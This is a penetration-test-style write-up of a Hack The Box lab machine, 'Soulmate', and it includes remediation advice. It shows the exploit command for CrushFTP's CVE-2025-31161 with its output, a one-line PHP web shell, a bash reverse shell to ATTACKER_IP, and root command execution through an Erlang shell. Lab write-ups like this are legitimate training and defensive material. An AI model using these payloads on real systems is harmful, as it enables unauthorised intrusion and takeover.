

PENETRATION TEST REPORT

Hack The Box // Soulmate

Date	October 10, 2025
Target	10.10.11.86 (soulmate.htb)
Tester	4ss3m
Classification	CONFIDENTIAL
Difficulty	Easy
Status	Completed — Machine Pwned

1. Executive Summary

A penetration test was conducted against the Hack The Box machine Soulmate (10.10.11.86) on October 10, 2025. The assessment identified a four-stage attack chain resulting in full root-level compromise. A hidden virtual host exposed a CrushFTP 11.W.657 instance vulnerable to CVE-2025-31161, an unauthenticated admin account creation flaw. This was leveraged to upload a PHP web shell, gain a reverse shell as www-data, and discover plaintext credentials in a local Erlang startup script, enabling lateral movement to user ben. Finally, a misconfigured Erlang SSH daemon running as root on localhost was abused to execute commands as root and retrieve the root flag.

Finding	Severity	Status
CVE-2025-31161 — CrushFTP Authentication Bypass	CRITICAL	Confirmed
PHP Web Shell Upload — RCE as www-data	CRITICAL	Confirmed
Plaintext Credentials in Erlang Script	HIGH	Confirmed
Erlang SSH Daemon Running as Root — PrivEsc	CRITICAL	Confirmed

2. Scope & Methodology

Target IP	10.10.11.86
Hostname	soulmate.htb, ftp.soulmate.htb
OS	Ubuntu Linux (OpenSSH 8.9p1 Ubuntu 3ubuntu0.13)
Services	SSH/22 (TCP), HTTP/80 (nginx 1.18.0)
Test Type	Black-box penetration test
VPN	HTB VPN interface
01 Reconnaissance	TCP port scanning (nmap); vhost enumeration (gobuster/ffuf)
02 Web Analysis	CrushFTP version fingerprinting; CVE research
03 Initial Access	CVE-2025-31161 exploitation; web shell upload; reverse shell
04 Lateral Movement	Credential discovery in Erlang script; SSH login as ben
05 Privilege Esc.	Erlang SSH daemon abuse on localhost:2222 root shell

3. Reconnaissance

3.1 Port Scan

An Nmap scan against the target revealed two services: SSH on port 22 and an nginx web server on port 80. The HTTP server redirected to `http://soulmate.htb/`, indicating virtual host routing was in use.

```
nmap -sC -sV -oN nmap.txt 10.10.11.86

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
```

3.2 Virtual Host Enumeration

The main site at `soulmate.htb` presented a dating application. Virtual host enumeration using gobuster revealed a hidden subdomain: `ftp.soulmate.htb`, which returned a 302 redirect to `/WebInterface/login.html` — the CrushFTP web interface.

```
gobuster vhost -u http://soulmate.htb \
  -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  --append-domain

ftp.soulmate.htb Status: 302 [--> /WebInterface/login.html]
```

The subdomain was added to `/etc/hosts` and the CrushFTP page source confirmed version 11.W.657, which is affected by CVE-2025-31161.

4. Initial Access

4.1 CVE-2025-31161 — CrushFTP Authentication Bypass

CrushFTP versions prior to the patch for CVE-2025-31161 contain an improper access control flaw in the user registration mechanism. An unauthenticated attacker can create a new administrator account by specifying an existing admin username (such as the default `crushadmin`) during the registration request. No credentials for the target account are required.

A public exploit was used to create a new admin user against the `crushadmin` account:

```
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git
cd CVE-2025-31161
python3 cve-2025-31161.py \
    --target_host ftp.soulmate.htb \
    --port 80 \
    --target_user crushadmin \
    --new_user zero \
    --password '1234'

[+] Preparing Payloads
[-] Warming up the target
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete – login with zero:1234
```

4.2 Web Shell Upload & Reverse Shell

After logging into CrushFTP as the newly created admin user zero, the User Manager was used to reset the password of the existing user ben to a known value. Logging in as ben revealed access to the `/webProd/` directory, which was mapped to the web root of soulmate.htb. A PHP web shell was uploaded to this directory:

```
# Web shell content (shell.php)
<?php system($_GET['cmd']); ?>

# Uploaded to: /webProd/shell.php
# Accessible at: http://soulmate.htb/shell.php
```

A netcat listener was started on the attacker machine and a bash reverse shell was triggered via the web shell to obtain an interactive session as `www-data`:

```
# Attacker – start listener
nc -lnvp 4444

# Trigger via browser
http://soulmate.htb/shell.php?cmd=bash+-c+'bash+-i+&+/dev/tcp/ATTACKER_IP/4444+0>&1'

# Shell received
www-data@soulmate:/var/www/soulmate.htb/public$

# Stabilize
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm
```

5. Lateral Movement — www-data to ben

5.1 Plaintext Credentials in Erlang Script

Post-exploitation enumeration of the filesystem revealed an Erlang startup script at `/usr/local/lib/erlang_login/start.escript` containing the plaintext password for user ben:

```
cat /usr/local/lib/erlang_login/start.escript

# Credentials found:
# Username: ben
# Password: [REDACTED]
```

5.2 SSH Access as ben

The recovered credentials were used to establish a stable SSH session as ben. The user flag was retrieved from the home directory.

```
ssh ben@soulmate.htb
# Password: [REDACTED]

ben@soulmate:~$ cat user.txt
[REDACTED]
```

6. Privilege Escalation — ben to root

6.1 Internal Service Discovery

Network enumeration on the target revealed an Erlang SSH daemon listening exclusively on localhost port 2222. This service was not exposed externally.

```
ss -tulpn | grep 2222
tcp    LISTEN  127.0.0.1:2222    *,*
```

6.2 Root Access via Erlang Shell

The Erlang SSH daemon on port 2222 was configured to authenticate using local system credentials and ran as root. Connecting with ben's credentials granted an interactive Erlang shell with root-level privileges. The built-in `os:cmd/1` function was used to execute OS commands as root and retrieve the root flag:

```
ssh -p 2222 ben@localhost
# Password: [REDACTED]

(ssh_runner@soulmate)1> os:cmd("whoami").
"root\n"

(ssh_runner@soulmate)2> os:cmd("cat /root/root.txt").
"[REDACTED]\n"
```

7. Vulnerability Findings

Finding 1 — CVE-2025-31161 — CrushFTP Authentication Bypass

CRITICAL

Location	http://ftp.soulmate.htb — CrushFTP 11.W.657
Description	CrushFTP 11.W.657 is vulnerable to an improper access control flaw in its user registration endpoint. An unauthenticated attacker can specify an existing administrator username during account creation to gain admin-level access without supplying any valid credentials.
Impact	Unauthenticated remote attacker gains full CrushFTP administrator access, enabling user management, file access, and configuration changes.
Remediation	Update CrushFTP immediately to a version patched against CVE-2025-31161. Restrict the CrushFTP web interface to trusted IP ranges. Disable the default crushadmin account or enforce strong credentials.

Finding 2 — PHP Web Shell Upload — Remote Code Execution

CRITICAL

Location	http://soulmate.htb/shell.php — /webProd/ directory
Description	The CrushFTP /webProd/ directory was mapped to the soulmate.htb web root and lacked upload restrictions on executable file types. An admin user was able to upload a PHP web shell that executed OS commands via the web server process.
Impact	Unauthenticated remote code execution as www-data. Full control of the web application and its filesystem.
Remediation	Restrict file upload extensions to a strict allowlist — deny .php and all other server-side executable types. Store uploads outside the web root. Run the web server as a dedicated low-privilege account.

Finding 3 — Plaintext Credentials in Erlang Startup Script**HIGH**

Location	/usr/local/lib/erlang_login/start.escript
Description	The Erlang service startup script stored the system password for user ben in plaintext. The file was readable by the www-data process, enabling lateral movement from the web shell to a full SSH session.
Impact	Lateral movement from www-data to ben. Access to the user flag and further privilege escalation paths.
Remediation	Never store credentials in plaintext scripts or configuration files. Use a secrets manager or environment variables. Restrict file permissions so the script is readable only by the service account that requires it.

Finding 4 — Erlang SSH Daemon Running as Root**CRITICAL**

Location	localhost:2222 — Erlang SSH service (ssh_runner@soulmate)
Description	An Erlang SSH daemon was running as the root user on localhost port 2222, authenticated using local system passwords. Successful authentication provided an interactive Erlang shell whose built-in os:cmd/1 function executed arbitrary OS commands with root privileges.
Impact	Any local user with valid credentials can obtain a root shell. Full system compromise.
Remediation	Run the Erlang SSH daemon as a dedicated unprivileged service account. Restrict access to port 2222 via firewall rules — disallow connections from standard user accounts. Disable os:cmd/1 or sandbox the Erlang environment if interactive shells are not required.

8. Attack Chain Summary

#	Step	Detail
1	Vhost Discovery	gobuster → ftp.soulmate.htb → CrushFTP 11.W.657
2	Auth Bypass	CVE-2025-31161 → admin account creation (zero:1234)
3	Password Reset	CrushFTP User Manager → reset ben password
4	Web Shell Upload	Login as ben → upload shell.php to /webProd/
5	Reverse Shell	shell.php triggered → www-data shell on port 4444
6	Credential Discovery	cat /usr/local/lib/erlang_login/start.escript → ben:[REDACTED]
7	Lateral Movement	SSH as ben → user flag
8	Erlang Privesc	ssh -p 2222 ben@localhost → os:cmd("whoami") = root
9	Root Flag	os:cmd("cat /root/root.txt") → [REDACTED]

9. Recommendations

Priority	Action
1 — CRITICAL	Patch CrushFTP to latest version — fixes CVE-2025-31161
2 — CRITICAL	Run Erlang SSH daemon as unprivileged user; disable os:cmd access
3 — CRITICAL	Block executable file uploads; move upload dir outside web root
4 — HIGH	Remove plaintext credentials from all scripts and config files
5 — HIGH	Restrict port 2222 to authorised service accounts only via firewall
6 — MEDIUM	Restrict ftp.soulmate.htb to trusted IP ranges
7 — MEDIUM	Enable file integrity monitoring on the web root directory

10. Conclusion

The Soulmate machine demonstrated a realistic multi-stage attack chain requiring no kernel exploits — only enumeration, a known CVE, and service misconfigurations. The critical entry point was the hidden CrushFTP subdomain; without vhost discovery the machine would not be reachable. CVE-2025-31161 then provided immediate admin access, and the permissive upload directory converted that into code execution. Credential reuse in a plaintext script and a root-privileged Erlang daemon completed the chain to full compromise. Each vulnerability is independently straightforward to remediate — patching CrushFTP alone would have prevented the entire attack chain from initiating.